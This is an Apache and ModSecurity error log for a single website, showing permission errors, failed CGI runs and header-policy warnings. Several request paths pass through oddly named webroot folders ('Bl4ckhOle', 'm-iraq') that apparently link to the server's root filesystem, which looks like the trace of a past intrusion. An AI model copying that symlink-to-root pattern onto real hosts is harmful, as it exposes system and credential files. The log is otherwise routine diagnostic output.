[Fri Jul 17 10:22:24.633017 2026] [ssl:error] [pid 2075718:tid 2075718] (70014)End of file found: [client 66.85.158.91:34908] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:24.801028 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:24.907490 2026] [security2:error] [pid 2075691:tid 2075691] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/public_html/anandav2/js/"] [unique_id "alm1CJ-MjlCH45ePojRJcgAAABE"]
[Fri Jul 17 10:22:24.907853 2026] [security2:error] [pid 2075691:tid 2075691] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html/anandav2/js/"] [unique_id "alm1CJ-MjlCH45ePojRJcgAAABE"]
[Fri Jul 17 10:22:24.908454 2026] [security2:error] [pid 2075691:tid 2075691] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html/anandav2/js/"] [unique_id "alm1CJ-MjlCH45ePojRJcgAAABE"]
[Fri Jul 17 10:22:24.956415 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.001427 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.005047 2026] [security2:error] [pid 2076188:tid 2076188] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/perl-Expect/tutorial/"] [unique_id "alm1CMwb7ueECO0vce5spAAAAA8"]
[Fri Jul 17 10:22:25.005077 2026] [security2:error] [pid 2076188:tid 2076188] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/perl-Expect/tutorial/"] [unique_id "alm1CMwb7ueECO0vce5spAAAAA8"]
[Fri Jul 17 10:22:25.056212 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.102662 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.306934 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.418266 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.515362 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.584759 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.602551 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.602602 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.602632 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.602660 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.602697 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.602725 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.602747 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.632861 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.642168 2026] [core:error] [pid 2075691:tid 2075691] (13)Permission denied: [client 57.141.18.32:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory2/subsystem/devices/memory61/subsystem/devices/memory103/node0/memory111/node0/cpu1/subsystem/uevent
[Fri Jul 17 10:22:25.647540 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.647635 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.647772 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.647813 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.647849 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.647884 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.647921 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.647954 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.647999 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.648068 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.648111 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:25.737484 2026] [mime:warn] [pid 2076193:tid 2076193] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:26.052168 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:26.154148 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:26.267115 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:26.362354 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:26.783821 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:26.906134 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:26.909890 2026] [proxy_fcgi:error] [pid 2075711:tid 2075711] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:22:26.991439 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.094581 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.201705 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.248091 2026] [proxy_fcgi:error] [pid 2075691:tid 2075691] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:22:27.312954 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.404057 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.405469 2026] [proxy_fcgi:error] [pid 2075904:tid 2075904] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:22:27.465830 2026] [core:error] [pid 2075908:tid 2075908] (13)Permission denied: [client 57.141.18.60:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory3/subsystem/devices/memory101/subsystem/devices/memory86/subsystem/uevent
[Fri Jul 17 10:22:27.515481 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.517012 2026] [proxy_fcgi:error] [pid 2076188:tid 2076188] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:22:27.618649 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.620214 2026] [proxy_fcgi:error] [pid 2075978:tid 2075978] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:22:27.734910 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.735039 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.735152 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.735186 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.735240 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.735279 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.735336 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.735391 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.735424 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.735456 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.735506 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.735541 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.735575 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.735607 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.735640 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.844617 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.944918 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:27.948758 2026] [proxy_fcgi:error] [pid 2075689:tid 2075689] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:22:27.991347 2026] [ssl:error] [pid 2075691:tid 2075691] (70014)End of file found: [client 66.85.158.91:35022] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:28.048342 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:28.048734 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:28.048794 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:28.048823 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:28.048884 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:28.049046 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:28.049109 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:28.049142 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:28.147586 2026] [mime:warn] [pid 2075908:tid 2075908] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:28.279321 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:28.280793 2026] [proxy_fcgi:error] [pid 2076258:tid 2076258] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:22:28.373877 2026] [mime:warn] [pid 2076194:tid 2076194] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:28.458906 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:28.563625 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:28.564931 2026] [proxy_fcgi:error] [pid 2075711:tid 2075711] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:22:29.371215 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:29.379309 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:29.458864 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:29.459239 2026] [core:crit] [pid 2076132:tid 2076132] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/lib64/mysql/plugin/auth_pam_tool_dir/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/lib64/mysql/plugin/auth_pam_tool_dir/' is executable
[Fri Jul 17 10:22:29.503364 2026] [mime:warn] [pid 2075711:tid 2075711] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:29.605376 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:30.015238 2026] [core:error] [pid 2075978:tid 2075978] (13)Permission denied: [client 57.141.18.64:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory127/node0/memory116/node0/memory130/node0/compact
[Fri Jul 17 10:22:31.112785 2026] [security2:error] [pid 2075711:tid 2075711] [client 57.141.18.67:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory53/node0/memory0/subsystem/devices/memory100/node0/memory77/"] [unique_id "alm1Dx3_6y13_d3Np4_4igAAAAE"]
[Fri Jul 17 10:22:31.112820 2026] [security2:error] [pid 2075711:tid 2075711] [client 57.141.18.67:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory53/node0/memory0/subsystem/devices/memory100/node0/memory77/"] [unique_id "alm1Dx3_6y13_d3Np4_4igAAAAE"]
[Fri Jul 17 10:22:32.101182 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:33.117065 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:33.217248 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:33.325344 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:33.638814 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:33.747432 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:33.849215 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:33.871186 2026] [security2:error] [pid 2075711:tid 2075711] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm1ER3_6y13_d3Np4_4jQAAAAE"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:22:33.871238 2026] [security2:error] [pid 2075711:tid 2075711] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm1ER3_6y13_d3Np4_4jQAAAAE"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:22:34.046869 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:34.156120 2026] [mime:warn] [pid 2075780:tid 2075780] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:34.365019 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:34.573983 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:34.590410 2026] [security2:error] [pid 2076193:tid 2076193] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/python2.7-config"] [unique_id "alm1ErUVEJ3gwrjEiOQWvwAAABA"]
[Fri Jul 17 10:22:34.590794 2026] [security2:error] [pid 2076193:tid 2076193] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/python2.7-config"] [unique_id "alm1ErUVEJ3gwrjEiOQWvwAAABA"]
[Fri Jul 17 10:22:34.591188 2026] [security2:error] [pid 2076193:tid 2076193] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/python2.7-config"] [unique_id "alm1ErUVEJ3gwrjEiOQWvwAAABA"]
[Fri Jul 17 10:22:35.091942 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:35.180184 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:35.217522 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:35.327607 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:35.327690 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:35.435918 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:35.656137 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:35.756379 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:35.857638 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:35.996445 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:36.173523 2026] [cgi:error] [pid 2076188:tid 2076188] [client 216.73.216.245:0] AH01215: stderr from /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/doc/perl-CGI/examples/cookie.cgi: (13)Permission denied: exec of '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/doc/perl-CGI/examples/cookie.cgi' failed
[Fri Jul 17 10:22:36.176194 2026] [cgi:error] [pid 2076188:tid 2076188] [client 216.73.216.245:0] End of script output before headers: cookie.cgi
[Fri Jul 17 10:22:36.235780 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:36.395733 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:36.395808 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:36.395939 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:36.470115 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:36.579558 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:36.608273 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:36.834018 2026] [ssl:error] [pid 2075690:tid 2075690] (70014)End of file found: [client 66.85.158.91:54312] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:37.452819 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:37.453093 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:38.080162 2026] [mime:warn] [pid 2075723:tid 2075723] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:38.183695 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:38.286009 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:38.592908 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:38.695203 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:38.778335 2026] [ssl:error] [pid 2075901:tid 2075901] (70014)End of file found: [client 66.85.158.91:54374] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:39.005524 2026] [mime:warn] [pid 2075689:tid 2075689] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:39.326798 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:39.542332 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:39.676187 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:39.992540 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:40.094097 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:40.203995 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:40.617470 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:40.653877 2026] [ssl:error] [pid 2075711:tid 2075711] (70014)End of file found: [client 66.85.158.91:54472] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:40.715946 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:40.938367 2026] [mime:warn] [pid 2076258:tid 2076258] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:41.045813 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:41.148156 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:41.496899 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:41.605019 2026] [mime:warn] [pid 2075691:tid 2075691] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:41.706770 2026] [ssl:error] [pid 2076258:tid 2076258] (70014)End of file found: [client 66.85.158.91:59522] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:22:41.706819 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:42.068352 2026] [mime:warn] [pid 2075728:tid 2075728] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:42.322230 2026] [mime:warn] [pid 2075978:tid 2075978] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:42.451572 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:42.550998 2026] [mime:warn] [pid 2076132:tid 2076132] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:42.674130 2026] [cgi:error] [pid 2075908:tid 2075908] [client 216.73.216.245:0] AH01215: stderr from /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/doc/perl-CGI/examples/file_upload.cgi: (13)Permission denied: exec of '/home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/doc/perl-CGI/examples/file_upload.cgi' failed
[Fri Jul 17 10:22:42.677269 2026] [cgi:error] [pid 2075908:tid 2075908] [client 216.73.216.245:0] End of script output before headers: file_upload.cgi
[Fri Jul 17 10:22:42.759555 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:22:42.846042 2026] [ssl:error] [pid 2075978:tid 2075978] (70014)End of file found: [client 66.85.158.91:59544] AH02013: coalesce failed to read from data bucket
